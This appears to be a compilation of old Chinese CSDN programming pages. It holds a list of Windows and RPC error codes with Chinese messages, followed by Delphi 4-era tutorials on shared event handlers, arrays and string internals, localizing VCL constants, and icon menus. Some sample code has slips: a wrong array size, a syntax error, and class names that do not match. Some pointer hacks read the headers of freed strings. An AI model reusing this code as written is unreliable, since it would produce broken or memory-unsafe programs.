1342L 此时允许GUID分配服务器
1056L 服务实体已在运行
1061L 服务在此时不能接受控制消息
1055L 服务数据库锁定
1075L 从属服务不存在或已做删除标志
1068L 从属服务或组启动失败
1058L 指定服务禁止,不能启动
1060L 指定作为安装的服务不存在
1073L 指定的服务已存在
1069L 由于登录失败,服务不能启动
1072L 指定的服务已做删除标志
1077L 引导后没有启动的服务已启动
1054L 不能产生该服务的线程
1062L 服务没有启动
1053L 服务对启动没有响应或及时地控制请求
1066L 服务已返回一服务指定错误代码
1070L 在启动后,服务挂在启动等待状态
1219L 提供的证书与已有证书集冲突
1433L LB_SETCOUNT发送到非缓慢的列表框
1103L 磁带存取达到设置标志
36L 打开的共享文件太多
70L 远程服务暂停或在启动的过程中
32L 由于文件被其他进程使用,该进程则不能存取
1115L 系统关闭在处理中
162L 信号已暂挂
156L 接受进程拒绝信号
1301L 要映射的一些信息没有传送
1371L 试图在与内置帐号不兼容的SAM帐号上操作
1372L 请求的操作不能在指定的组上执行,由于它的内置的特殊组
1373L 请求的操作不能在指定的用户上执行,由于它的内置的特殊组
1001L 递归太深,堆栈溢出
141L 系统试图SUBST一驱动器到已替代驱动器的目录
139L 系统试图替代一驱动器到已替代驱动器的目录
0L 操作成功的完成
999L 存取分页的文件错误
150L 系统追踪的信息不在指定的CONFIG.SYS文件中或追踪不允许
210L 信号句柄没有设置
1406L CreateWindows失败,建立WS_CHILD类的顶级窗口
1375L 试图建立作为基本使用的符号,但该符号已在使用.一次只能有一个基本的符号
56L 已达到网络BIOS命令限制
1384L 在试图登录中,用户的安全堆集太多的安全ID
1333L 请求的LUD数不能在单个的分配中分配
214L 太多的动态连接模块连接到该程序中或动态模块中
152L 已设置太多的信号
68L 超出局域网网卡的名字限制
4L 系统不能打开该文件
298L 给信号太多的邮件
1381L 在单个系统中可存储的最大秘密数超出
103L 信号不能重新设置
100L 不能建立另一系统信号
69L 网络BIOS话路超出
1389L 指定太多的SID
155L 不能建立另一线程
1790L 网络登录失败
1788L 在主域与受托域之间的受托关系失败
1789L 在工作站与主域之间的受托关系失败
1108L 试图锁定缺少弹出介质的机构
1109L 卸载介质失败
59L 出现意外的网络错误
1796L 指定的处理器未知
1798L 打印处理器未知
1797L 打印驱动器未知
1305L 遇到或指定的版本对服务来说未知
1785L 磁盘介质不能辨认,可能是未格式化
1005L 卷不包含识别文件系统
1316L 指定的用户已存在
240L 话路取消
128L 没有等待的子进程
1423L 窗口不是一命令框
1420L 窗口不是一有效的对话框
1408L 无效的窗口,属于其他的线程
29L 系统不能写到指定的驱动器
19L 介质写保护
34L 驱动器中错误的磁盘,将%2(卷系列号%3)插入到驱动器%1中
1323L 在更新口令时,该状态表示提供的口令值不正确
-1L 无效的输入句柄
-2L 无效的输入句柄
-7L 输入参数超出范围
-5L LZFile文件结构内存不足
-6L 不正确的全局句柄
-3L 损坏的压缩文件结构
-4L 输出文件空间不足
-8L 不能识别的压缩算法
0L 没有错误
1768L 在服务器中出现编址错误
1713L 服务器已在听从
1711L 对象UUID已登记
1746L 连接不包含鉴别信息
1726L 远程过程调用失败
1727L 远程过程调用失败,不能执行
1791L 远程过程调用已在该线程处理中
1764L 不支持请求的操作
1720L 不能生成端点
1740L 端点重复
1760L 入口已存在
1761L 入口没有找到
1769L 在服务器上的浮点操作被零除
1771L 在服务器上出现浮点上溢
1770L 在服务器上出现浮点下溢
1898L 组成员没有找到
1755L 入口名不完善
1759L 界面没有找到
1766L 在RPC中出现内部错误
1749L 安全上下文无效
1702L 连接句柄无效
1734L 数组边界无效
1706L 端点格式无效
1736L 名称语法无效
1707L 网络地址无效
1724L 网络选项无效
1900L 对象通用唯一标识符为空
1704L RPC协议序列无效
1700L 字符串连接无效
1705L 字符串UUID失效
1733L 标志无效
1709L 超时值无效
1756L 版本选项无效
1742L 调用的最大数太小
1762L 命名服务不可用
1718L 没有连接
1725L 在该线程中没有远程过程调用
1765L 允许的模拟没有安全上下文可用
1708L 没有找到端点
1735L 连接不包含入口点名
1806L 没有足够的连接
1757L 没有足够的成员
1719L 没有协议序列
1714L 没有登记的协议序列
1715L 服务器没有听从
1710L 对象UUID没有找到
1721L 没有足够的资源完成该操作
1745L 过程号超出范围
1728L 出现RPC协议错误
1744L RPC协议序列没有找到
1703L 不支持RPC协议序列
1731L 服务器没有足够的内存完成该操作
1723L 服务器太忙,不能完成该操作
1722L 服务器不可用
1743L 字符串太长
1712L 类型UUID已登记
1748L 未知的鉴别级
1747L 未知的鉴别服务
1741L 未知的鉴别类型
1750L 未知的授权服务
1717L 未知的界面
1716L 未知的管理类型
1737L 不支持命令语法
1730L 服务器不支持转换语法
1732L 不支持类型UUID
1739L 没有可用于构造UUID的网络地址
1701L 连接处理为不正确的类型
1767L 服务器试图做整数被零除
1783L 存根接收到不正确的数据
1782L 字节计算太小
1781L 枚举值超界
1772L 用于自动处理连接的可用服务器已用完
1780L 空引用指针传递到存根
1779L 存根不能得到调用句柄
1773L 由DCERPCCHARTRANS指定的文件不能打开
1774L 包含字符转换表的文件小于512KB
1777L 在调用中上下文处理改变
1776L 上下文句柄与任何已知的不匹配
1778L 传递给远程调用的连接句柄不匹配
1775L 空的上下句柄作为参数传递
************************************************************************************************


CSDN_文档中心_Delphi之快速设计(程序设计篇)

  • *本文涉及的所有代码均在WinNt 4、Delphi4 C/S下正确运行通过。
    由于Delphi采用了真正的完全面向对象方法、当今世界最快的编译器以及领先的数据库技术，特别是她对Windows API的完全兼容，出色的代码自动生成能力……人们已经看到，在短短的几年当中，Delphi已在众多的开发工具中脱颖而出！正是Delphi的诸多优秀品质，使程序员能在很短的时间内开发出极具专业水准的运用软件，而所做的工作却是相当的少！
    正所谓Let's us make better!我们应怎样充分利用Delphi的优势来更加快速地进行程序设计程序呢？
    一、充分利用代码完全共享(句槟)：
    我们这样做的目的不仅仅是为了“偷懒”，这也是优化程序代码的一种方法。当然，首先要考虑的是能不能共享（这很简单，看看是否包含在该事件的下拉集合中），其次是要注意的是共享后有没有“麻烦”，因为正确是第一步，在保证正确的情况下才有必要去追求优化！
    比如：我们在用户删除数据前给出一确认消息：
    procedure TForm1.Table1BeforeDelete(DataSet: TDataSet);
    begin
    //确认删除记录
    if MessageBox(handle,'确实要删除当前记录吗？','确认',MB_IconQuestion+MB_YesNo)=IDNO then
    Abort;
    end;
    那么，你只要愿意让用户在删除数据记录前进行确认均可在TDataSet.BeforeDelete事件（Table2的BeforeDelete，Table3的BeforeDelete……）中完全共享这段代码。好运不会天天有，在有的时候就不这么直接、简单了……
  • 二、充分利用Delphi的强制转换：
    “As”这个单词不仅仅在英语中用处极大，在Delphi中亦然！当我们想为数个“同类”组件共享代码时，即可发挥她的巨大作用：我们只需为其中一个组件编写代码即可。
    比如：想让一组文本编辑框在得到输入焦点时背景颜色变为茶色，失去焦点是恢复系统颜色，我们可以如此共享代码（让每个文本编辑框的事件公用以下代码）：
    procedure TForm1.Edit1Enter(Sender: TObject);
    begin
    (Sender as TEdit).color:=ClTeal; //得到输入焦点
    end;

    procedure TForm1.Edit1Exit(Sender: TObject);
    begin
    (Sender as TEdit).color:=ClWindow; //失去输入焦点
    end;
  • 三、不起眼的Tag属性：
    上面的例子似乎有点太特殊了，万一我只对其中某些组件特别关照怎么办？仍以上面的为例，比如其中有两个文本输入框需要输入数字，为引用户注意，得到焦点时颜色变为兰色，但我仍然然不想为每个组件分别写代码。
    要解决这个问题可利用组件的Tag属性，先为要特别处理的组件分配非零、不等的Tag（必须说明的Delphi不会检查Tag值是否相等，设计时自己掌握）；然后如下编写代码，就可依然实现共享：
    procedure TForm1.Edit1Enter(Sender: TObject);
    begin
    case (Sender as TEdit).Tag of
    10,20:(Sender as TEdit).Color:=clBlue //输入数字的文本框
    else
    (Sender as TEdit).Color:=clTeal; //其余文本框
    end;
    end;
  • 四、充分利用Delphi的CodeInsight技术：
    （以下言论均假设在Delphi的默认条件之下）
    1、利用Self关键字：
    也许有人以为我搞错了！其实，这里要向大家介绍的是笔者（因记性太差）“惯犯”的又一“伎俩”。在有的时候，我们可能记不准组件的确切名字（Name）了，这时你要是再返回窗体表格去确认一遍的话（大多数的朋友应该是这样的）未免有点太对不起时间了，此时你要是利用Self就特别省力，因为Self在Delphi中是显式地引用该组件所在的窗体，因此，我们可以输入Self后加一逗点以此激活Delphi的Code Completion，此时系统会立即为你显示一包含该窗体所有组件及窗体本身属性的下拉列表，你从中选择所需组件即可。这样，就避免了来回切换窗体表格的这一工作量。
    2、利用代码补缺（Code Completion）：
    我们现在再也没有必要让自己去记忆太多的参数细节了，因为有了Delphi的代码补缺功能。在具体解释之前，还要罗嗦一点，Delphi的Code Completion默认的快捷键会与我们已用的某些快捷键冲突（如Ctrl+Space就与我们打开、关闭汉字输入法的快捷键冲突），因此请先解决这个问题。
    当然，Code Completion一般会自动激活，但是不要以为就万事大吉了，本人认为Delphi的此项技术应向VB学习，此言怎讲？举例来说吧：当你输入StrToint(edit1.后，Delphi不会自动显示edit1的属性，此时你就将用Ctrl+Space来激活Code Completion，特别是嵌套很深的时候，Delphi似乎也糊涂了。
    3、利用代码参数（Code Parameters）：
    激活快捷键是Ctrl+Shift+Space。这项功能也是Delphi自动实现的，正如上述所言，当我们来回切或是光标移走时，这项功能也就随之消失了，当我们需要确认该函数的具体参数时即可以此快捷键打开。
    4、利用代码模板（Code Templates）：
    这项技术再次体现了Inprise公司Delphi开发组的工程师们高超的技术及处处为用户着想的高尚品德！（只是不希望再听到又有人被微软挖走的消息）
    激活快捷键是Ctrl+J。此项功能实现机制与代码补缺的差不多，只是她不是自动的，当然最另令人激动的一面是用户可以定义自己的模板。比如笔者定义的一个模板：快捷-〉“msg”；代码-〉“MessageboxMessageBox(
    handle,'|','',MB_Icon...+MB_...);”，只要一输入msg然后按Ctrl+J整个代码“脱颖而出”，并把光标帮我移到我该补充输入的地方，简直爽呆了！
    注意：如果你为自己定义了很多可爱的模板舍不得丢掉的话，不妨把...Delphi4\Bin目录下的Delphi32.dci文件备份,重新安装Delphi后以此文件覆盖即可。
  • 五、能偷懒时就偷懒：
    这个话题本不应该写在这里，但还是忍不住……
    1、能利用对象观察器直接设置且不会影响程序正常运行的就没有必要去写代码：
    由于这个话题涉及面太广，此处仅举一例说明：比如要在Delphi4中实现在状态栏上的自动提示，又没有太“苛
    刻”的条件时，我们没有必要再像以前一样，先定义一个过程（ShowMyHint(...)），然后在程序初始化的地方
    把她赋值给TApplication的OnHin事件。因为只需将状态条的AutoHint属性设为True即可！当然，她似乎只能在
    第一个Panel上显示（这就是没有太“苛刻”的条件时）。当然，怪我罗嗦，有的朋友居然不知道Delphi的Hint
    属性由两部分组成，此处不是说话之地，感兴趣请到笔者的个人主页上去遛遛www.zg169.net/~delphiok（刚开
    张，东西还不多）。
    2、节省代码：
    能够少写代码就没有必要多写代码，能够精炼就不要冗余：
    比如，以下的两段代码实现的功能完全相同，你喜欢用哪段？
    代码段一：
    if ToolButton1.Down=true then
    begin
    Dbgrid1.show;
    DelBtn.Enabled:=true;
    end
    else
    begin
    Dbgrid1.Hide;
    DelBtn.Enabled:=false;
    end;
    代码段二：
    Dbgrid1.Visible:=ToolButton1.Down;
    DelBtn.Enabled:=ToolButton1.Down;
    因此，我们写完程序后，不要仅仅追求程序调通，不妨也给程序代码炸炸油。
    3、节省变量：
    有的程序员在不需要变量的地方定义了变量，在需要变量的地方定义了多余的变量，我个人认为这都不是好的
    习惯，特别是动不动就定义全局变量更是值得商榷。有的读者可能认为我是一个守财奴，现在的处理器速度都
    什么年代了……但我只简单的给你展示一段代码你就明白了：
    procedure TForm1.Button1Click(Sender: TObject);
    Var s1,s2:String;
    begin
    s1:=Inputbox('数据','请输入用户姓名','');
    if s1<>'' then
    begin
    Btn_Name.Enabled:=True;
    s2:=Inputbox('数据','请输入用户住址','');
    if s2<>'' then
    Btn_Adress.Enabled:=True;
    end;
    end;
  • 当然，本文的这些小例子仅仅从侧面表述了笔者的一些个人观点，要充分体现Delphi的高效性，这些还远远不够！限于篇幅，关于数据库以及其他高级话题在这里均未涉及，特别是数据库编程方面，Delphi提供了相当的灵活性！当然，万变不离其宗，只要随时注意Delphi是完全面向对象的，有对象就考虑其属性、事件、方法、继承、引用等等。


CSDN_文档中心_Delphi之数组

Delphi之数组
Object Pascal中可以建立丰富的数据类型。数组毫无疑问也是众多自定义数据类型中的一种。
Type
TA = array[0..9] of Integer;
...
var
A : TA;
和下面这段代码通常效果是相同的（不同的地方在类型篇再说）
var
A : Array [0..9] of Integer;
这相当于C中的
int A[10];
或Basic中的
Dim A(9) as Long或 Dim A(0 to 9) as Long
下面将分几个方面讲OP的数组：
多维数组：
多维数组的本质其实就是数组之数组。
type
TA = array[0..9] of array [0..9] of Integer;
TB = array[0..9, 0..9] of Integer;
TCA = array[0..9] of Integer;
TC = array[0..9] of TCA;
在这里TA,TB,TC是等价的。在使用时是没有分别的。例如X[0][0]:=1;Tx[0,0]:=1;（X是TA、TB、TC类型）
都是合法的。因为这几种类型都是在内存中开辟一块100x100xSizeOf(Integer)的区域，你根本无法区
分他是如何申请的，也没有必要去区分。
多维数组如何取得维数呢？
前面已经说过多维数组就是数组之数组，所以可以利用下面的方法来取得多维数组的维数：
var
k:array[2..10,3..20]of integer;
begin
showmessage(Inttostr(Low(k))+' '+Inttostr(High(k)));
showmessage(Inttostr(Low(k[Low(K)]))+' '+Inttostr(High(k[Low(K)])));//k[n]是array[3..20] of integer;的数组

end;
动态数组：
OP中动态数组的声明是
type
TA=Array of Integer;
动态数组应用中十分广泛。现在有一种趋势就是在数据结构中用动态数组代替链表
（到底哪个好哪个坏自有评价我们在这里不予以讨论）。
可能你会说动态数组根本不必要使用，我就从来没有用过。 我不信你没有用过动态数组！
String类型你用过吧，它近似可以说是动态数组的一种。
动态数组的内存是在使用分配长度时才予以分配的，他的下界只能0（AnsiString字符串例外,下界是1，原因后面再说）,
动态数组的生存期是自管理的使用后一般不用释放，如果要强行释放就用把Nil附给他。
使用动态数组往往爱犯的错误：
1）和静态数组概念混淆：
动态数组的地址并不是他第一个元素的地址，而在静态数组中我们大家常常使用这样的语句：
var
A, B : array[0..19] of Integer;
...
CopyMemory(@A, @B, 20*SizeOf(Integer));
或者CopyMemory(@A[0], @B[0], 20*SizeOf(Integer));
都是正确的，因为静态数组中数组的首地址就是他第一个元素的地址。

但是在动态数组中只有第二种写法会得到正确结果。即只能写成：
var
A, B : array of Integer;
...
SetLength(A, 20);
SetLength(B, 20);
CopyMemory(@A[0], @B[0], 20*SizeOf(Integer));
2）数组的附值：
静态数组中的附值很简单
var
A, B : array[0..19] of Integer;
...
A := B;
即可对数组进行赋值；在动态数组中就要倍加小心，请看
var
A, B: array of Integer;
begin
Setlength(A, 10);
SetLength(B, 10);
B[1] := 50;
A := B;
B[1] := 100;
end;
a[1]是多少呢？按照常理A[1]的值应该是附值前的50，但恰恰相反A[1]的值是附值后B[1]再次被赋的值，
100动态数组中A := B;仅仅是将动态数组A 的指针指向动态数组B，而并不是像我们希望的那样为A开辟一
块空间。如果非要为A开辟一块空间就要用Copy来复制B的数据。
AnsiString也是动态数组，所以同样的情况也存在于String类型。
特殊的数组:
本来字符串想单独说一说，但是却因为它具有太多的动态数组特性所以不单独说了。
再一个，这里的代码和说的以后你很可能是用不到的，但是能加深你对ObjectPascal的理解。
在设计时你会知道它是如何工作的，通过这些你会更有效率的使用它。
大多数字符串与其说是数组倒不如说他是个结构。但是我们用他的数组特性更多一些。
1.ShorString:是为了与老的Pascal兼容而保留的类型。最大255个字符。
Type
TShortString
Length:Byte;
Data:array[1..Length] of Char;
end;
从结构上可以看出ShortString最大只能保存255个字符。我们可以做个实验
var
k:ShortString;
begin
k:='I am a Delphi fan!';
k[0]:=Char(13);//k.Length被置为13
showmessage(k);
end;
///两种方法效果相同
var
k:ShortString;
p:^Byte;
begin
k:='I am a Delphi fan!';
p:=@k[1];
Dec(p,1);
p^:=13;//k.Length被置为13
showmessage(k);
end;
运行一下看看会出什么结果，呵呵。
为什么Short的数组下限是0呢?想一想Byte和Char的关系我不想多说.
2.AnsiString:标准的字符串,以Nil结尾。
Type
TAnsiString=record
allocSiz: LongWord;//分配的大小
ReferencCount:LongWord; //引用次数
Length:LongWord; //字符串长度
Data:array[1..(Length+1)] of AnsiChar;
end;
有人要问为什么长度是1..(Length+1)而不是Length呢？
因为后面还要有一位NULL字符，表示结束。可见AnsiString和C\C++的兼容性也是很好的。
如下代码：
var
k: AnsiString;
p:^LongWord;
begin
k := 'I am a Delphi fan!';
p:=@K[1];
Dec(p,1);
P^:=13; //k.Length被置为13
showmessage(k);
end;
由此我们会知道ANsiString的效率是很高的，他的信息存储于字符串头中。例如我们要取字符串的长度只须读出
TAnsiString.Length的内容即可。而其c\c++的字符串就不行，取字符串的长度要从头读起直到遇到NULL记录下
读过的字符个数就是长度。可是如果字符串很长效率的差异就显示出来了，比如一个很大的文件？
前面讲过动态数组赋值的问题，它并不为动态数组单独开辟一块空间，而是简单的把指针指向所赋的数组。只有被赋值的
数组在改变时才真正分配给他空间。这样做的好处是在赋值的时候会很快。如果被赋值的数组没有改变那就比直接分配空间
快上许多。另外如果被赋值数组发生改变重新分配空间，只是花费和直接分配空间相同的时间而已。
有些人会想那么如下代码:
var
k,j:AnsiString;
begin
k:'123';
j:='456';
k:=j;
end;
k的空间已经分配,既然k的指针指向了j,那么k原来的空间岂不是浪费,造成了内存垃圾?
前面说过AnsiString也是动态数组的一种，符合动态数组生存期自管理。
但实际的情况是:当把一个指针指向一个字符创空间时,他的引用次数位就加1,
当有指针指向从这个字符串离开时引用次数位就减1,所以当引用次数位为0是就意味着没有人使用了
就自动释放这段空间。这就是我们所说的生存期自管理技术。
Type
//实际分配大小对我们来说意义不大，所以这里我们先不取他
PAnsiString=^TAnsiString;
TAnsiString= record
ReferencCount:LongWord; //引用次数
Length:LongWord; //字符串长度
end;
var
k,j: AnsiString;
P:^LongWord;
MyAnsiString:PAnsiString;
begin
k:='I love Delphi!';计数器应该为1，因为刚刚分配内存，只有一个使用者
P:=@K[1];
Dec(P,2);
MyAnsiString:=@(p^);
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
j:=K;//计数器应该加1，因为j的指针指向了他，使用者又多了一个
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
j:='123';//计数器应该减1，因为j的指针指不再指向他，使用者少了一个
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
k:=j;//k的指针指向j的内容所在，那么这片数据的计数器再减去一个，即为0。
//然而因该该内存区域已经被自动释放所以这里再去读数的话就是一些随机数据
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
end;

动态数组的回收机制原理相同，现在明白了为什么动态数组再回收时要给他赋成Nil了吧！变体型等生存期自管理的
类型都是用这种机制来实现的.
为什么说字符串是动态数组的一种呢？因为以上方法同样适用于动态数组。我们用动态数组自己实现一个
AnsiString看看行不行呢？
比如：
Type
PAnsiString=^TAnsiString;
TAnsiString= record
ReferencCount:LongWord; //引用次数
Length:LongWord; //字符串长度
end;
var
k,j: array of Integer;
P:^LongWord;
MyAnsiString:PAnsiString;
begin
SetLength(k,10);//计数器应该为1，因为刚刚分配内存，只有一个使用者k
SetLength(j,10);
P:=@K[0];
Dec(P,2);
MyAnsiString:=@(p^);
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
j:=K;//计数器应该加1，因为j的指针指向了他，使用者又多了一个
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
SetLength(j,100);//计数器应该减1，因为j的指针指不再指向他，使用者少了一个
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
SetLength(k,100);//k内存被重新分配，那么这片数据的计数器再减去一个，即为0。
//然而因没有使用者该内存区域已经被自动释放所以这里再去读数的话就是一些随机数据
showmessage('现在计数器：'+Inttostr(MyAnsiString^.ReferencCount));
showmessage('长度为：'+Inttostr(MyAnsiString^.Length));
end;
理论上来说能模拟实现AnsiString的一些功能,通过这些可以看到AnsiString不过是动态数组的一种形式。
3.WideString:宽字符串,由WideChar组成,以Nil结尾.
Type
TWideString=record
allocSiz: LongWord;//分配的大小
Length:LongWord; //字符串长度
Data:array[1..(Length+1)] of WideChar;
end;
有结构可以看出，WideString和AnsiString很类似，但是他没有回收机制。不能进行生存期自管理。
但是在处理上还是较C\C++效率高上许多。
4.Pchar:与其说成是字符串到不如说他是指针更准确一些。
Type
TPchar=^Char;
Pchar是为了和C\++兼容的实际上它是指向字符的指针。从这个字符开始到后面第一个NULL字符为止都是
Pchar字符串的内容，也就是说PChar是它内容的首地址，因为Pchar并非结构而是一种指针所以Pchar的
下限是0.
var
A:Pchar;
...
A:='1234567890';
A[0]:='a';//这一句是合法的

看看如下代码就明白了：
var
k:array of char;
p:Pchar;
i:Integer;
begin
SetLength(k,20);
FillMemory(@k[0],Length(k),Byte('A'));
i:=3; //i只要比20小,大于等于0，随你调整看看不同的结果。
k[i]:=#0;
p:=@k[0];
showmessage(p);
end;

其它：数组在所有的编程语言中都是一个很重要的数据类型(不过Java的数组使用类来实现的)。
是应用很广泛的一种技术。 如果你见过下列语法：

TA=Class(TXXX)
...
public
procedure Exec; Overload;
procedure Exec(Value:Boolean); Overload;
end;
一定会知道这是应用了这是重载。但是有没有想过在对象的内部机制中重载是如何实现的呢？
在内部实际上它是一个函数的数组（内部由表来实现）。当调用时会根据参数的不同来决定调用哪一个。

附：
几条数组常用的函数
High(),Low()取数组的上下界


CSDN_文档中心_"Delphi之完全汉语"终结版

"Delphi之完全汉语"终结版(已于“家用电脑”37期发表，新瓶旧醋请谅解！)

西安 梁 明

--------------------------------------------------------------------------------

本人在写此段文章前曾有这样一个肮脏的念头:绝对不能把这一招"漏给"别人!但是,良心马上告诉我,绝对不能有如此的想法!于是立刻把她写下来,既算是对上次那篇"Delphi之完全汉语"文章的补充,又算是对自己良心的报答吧!

现在切入正题:大家知道,我们在处理Delphi自身的消息时(我这里指的是包括Delphi系统对话框、异常提示等所有来自Delphi自身的消息),一般采取的办法是"走在Delphi的前面",或是屏蔽掉系统的作用,从而用我们自己的方式处理,以期达到为用户提供纯汉语环境的目的.然而,这一切只能凭借程序员的已有经验来主观预测!由于系统的复杂性以及我们自身的水平所限,这样作的结果难免会顾此失彼,也许随时可能发生的问题都处理得不彻底甚至根本就未处理.试想:在用户使用过程中冒出一些英文的提示,你的程序的"档次"是不是将大打折扣?

因此,我们还必须去寻找更加理想更加彻底的方法,至少,当让程序出现Bug时,普通用户能看懂提示(可不是让你为所欲为与噢).幸好,经过笔者这一阵的反复试验,已经找到另一个万全之策.下面就请听我一一道来(仅限于你的Delphi版本有VCL的源代码--即专业版或企业版):

0.备份Delphi的VCL源代码(所在目录一般为"X:\Program Files\Borland\Delphi4\Source\Vcl").当然,根据需要,仅备份我们需要修改的几个文件也可;

1.在Delphi环境下打开VCL目录下的BdeConst.pas,Consts.pas,BdeConst.pas,DbConsts.pas,midconst.pas,mxConsts.pas,OleConst.pas,WebConst.pas等单元文件,这些单元文件定
义了Delphi用到的常量;

2.把Delphi自己定义的字符串常量"翻译"成我们伟大的母语--汉语;

3."翻译"工作完成后,按原文件名保存;

4.现在就来试试我们的成果,新建一个工程,故意编写一些会出现系统提示的代码,并在编译前,到Delphi的Project Options对话框的Directories/Conditionals页的Search Path选项下,添加搜索路径(也即刚才我们修改常量单元所在的目录),确定后退出;

5.就观看你的英语翻译水平吧!

注意:
①如果你的版本为Delphi 3的话,以上的路径作相应的变化,且Project Options对话框的Directories/Conditionals为Directories;
②对编译条件的该动只对此工程有效,新建工程后需重新设置.如果你希望一劳永逸的话,请随我来:
运行Windows注册表编辑程序Regedit.exe,打开HKEY_CURRENT_USER->Software->Borland->Delphi->4.0->Library,在其中一为"Search path"的串值中加入"$(DELPHI)\Source\VCL".Ok,目的达到!

以下是笔者修改Consts.pas单元文件中函数MessageDlg的常量后用该函数发送的消息.这次,我们看到的再也不是半"英"半阳的消息框了.怎么样,够靓吧?
...
Begin
MessageDlg('感觉如何?'+#13#10#13#10+
'我这里即是把"SMsgDlgInformation"翻译为''消息'';'+#13#10+
'把"SOKButton"翻译为''确定''而得到的结果!',
mtInformation,[mbok],0);
End;
...
****此处插入图4****

上面的动作是不是太老实了一点?!其实,我们完全可以根据自己的意愿来定制这些常量(只要Inprise同意),使其达到一种的特殊效果,比如,我们可以将"SMsgDlgInformation"翻译为你的软件标题或自己的工作室名称等等,如此一来,你的非凡个性将展示无遗!

有关Delphi"完全汉语"方面的经验、技巧笔者就打算介绍这么多(等我手上的这两个程序有交待后我会把这一整套东东放在我的个人主页上,到时请去Down吧).当然,冠以"完全汉语"实令我脸红,但本人多么希望Inprise公司早点结束我们"羡慕"VB程序员的时代!

现在还有一些问题,例如:Delphi的环境是英文的,报表预览的提示及按钮也是英文的等等.对于第一个问题,我个人认为倒没有多大必要,因为没有哪一个程序员连菜单都看不懂的,我们努力的目标是用户;对于第二个问题也有办法解决,在此本不应该涉及此话题,但我在网上看到有很多人在问这个问题,因此也在此略谈一下,作为这个话题的结尾吧:

①按照要求制订好QuickRep的内容;
②仿照QuickRep的预览模式或自己定制QRPreview;
③在QuickRep的OnPreview事件中将QuickRep的QRPrinter赋值给QRPreview的QRPrinter
(如QRPreview1.QRPrinter:=Quickrep1.QRPrinter;)即可让QRPreview取代QuickRep
的预览模式了.

版主：梁明
日期：1999-03-01
E-mail：delphifan@990.net

--------------------------------------------------------------------------------


CSDN_文档中心_Delphi制作带图标的弹出式选单

杏

    Windows界面的一大特色就是显示丰富多彩的图标，图标不仅美化了Windows的桌面，而且便于直观的操作，给用户带来了极大的方便。在设计程序界面时，Windows风格是很好的参考。

    Delphi一般提供两种设置图标的方法，一个是在Project Options 中指定应用程序的图标，另一个是在Object Inspector 的properties页中提供Icon特性。如果想设计出像Windows开始选单那样美丽的弹出选单，就要自己编写代码了。

    我们知道大多数Windows应用程序本身带有图标，只要将程序本身所带的图标取出，调整图标的大小加入到弹出选单中，一个美丽的选单就完成了。

    首先用ExtractAssociatedIcon从某一程序中获取图标，而图标的尺寸大小不一，不一定能直接添加到选单中，同时Delphi没有提供调整图标大小的功能，这就必须将图标文件转化成位图文件，然后调整位图文件的大小，最后用位图文件取代选单项目即可。其源代码如下：

    type

     TForm1 = class(TForm)

     MainMenu1: TMainMenu;

     File1: TMenuItem;

    /**** 选单条中的项目****/

     Open1: TMenuItem;

    /****选单文件中的项目 ****/

    procedure FormCreate(Sender: TObject);

    procedure FormShow(Sender: TObject);

     private

     {局部参数声明}

     public

     {全局参数声明}

     Icn, Txt, MnuItm: TBitmap;

     end;

    procedure TForm2.FormCreate(Sender: TObject);

    var R: TRect;

     HIcn: HIcon;

     Ic: TIcon;

     Index: Word;

     FileName: PChar;

    begin

     /**从某一程序中获取图标**/

     Ic:=TIcon.Create;

     Ic.Handle:=ExtractAssociatedIcon(Hinstance, /*文件名称及其路径*/, Index);

     /** 创建位图**/

     Txt:=TBitmap.Create;

     with Txt do

     begin

     Width:=Canvas.TextWidth(' Test');

     Height:=Canvas.TextHeight(' Tes');

     Canvas.TextOut(0,0,' Test');

    end;

     /**将图标复制到上述创建的位图中，并调整它的尺寸 **/

     Icn:=TBitmap.Create;

     with Icn do

     begin

     Width:=32;

     Height:=32;

     Brush.Color:=clBtnFace;

     Canvas.Draw(0,0,Ic);

     end;

     /** 创建最后的位图文件**/

     MnuItm:=TBitmap.Create;

     with MnuItm do

     begin

     Width:=Txt.Width+18;

     Height:=18;

     with Canvas do

     begin

     Brush.Color:=clBtnFace;

     Pen.Color:=clBtnFace;

     Brush.Style:=bsSolid;

     Rectangle(0,0,Width,Height);

     CopyMode:=cmSrcAnd;

     StretchDraw(Rect(0,0,16,16),Icn);

     CopyMode:=cmSrcAnd;

     Draw(16,8-(Txt.Height div 2),Txt);

     end;

     end;

     end;

    procedure TForm2.FormShow(Sender: TObject);

    var

     ItemInfo: TMenuItemInfo;

     hBmp1 : THandle;

    begin

     HBmp1:=MnuItm.Handle;

     with ItemInfo do

     begin

     cbSize:= SizeOf( ItemInfo );

     fMask:= MIIM_TYPE;

     fType:= MFT_BITMAP;

     dwTypeData:= PChar(MakeLong( hBmp1, 0 ));

     end;

     /** 用位图取代选单项目Open1 **/

    SetMenuItemInfo( GetSubMenu( MainMenu1.Handle, File1.MenuIndex ),

    Open1.MenuIndex, true, ItemInfo );

     end;

    以上程序在Windows98、Delphi 4.0环境下调试通过


CSDN_文档中心_Delphi制作数据感知控件之浮想联翩

Delphi制作数据感知控件之浮想联翩

王维康 编写

知识点

本文共有6个关于控件的知识点：

1、基本控件的制作；2、感知属性的添加；3、关联控件的销毁处理；

4、事件方法的赋值； 5、属性页的制作； 6、组件包设计思想

关于制作感知控件的文章有不少，但涉及的内容大都比较单一，读者只能依照文章的陈述按部就班地操作，无法很好的理解控件的制作机制。本文试图通过讲解一个控件的制作流程来着重阐述制作感知控件的思路和编程思想，让读者真正了解VCL控件的制作机制，而非仅仅达到了解此控件的制作方法为目的，希望能使读者在阅读以后达到“一叶落而知天下秋”的效果，哈，夸张了。

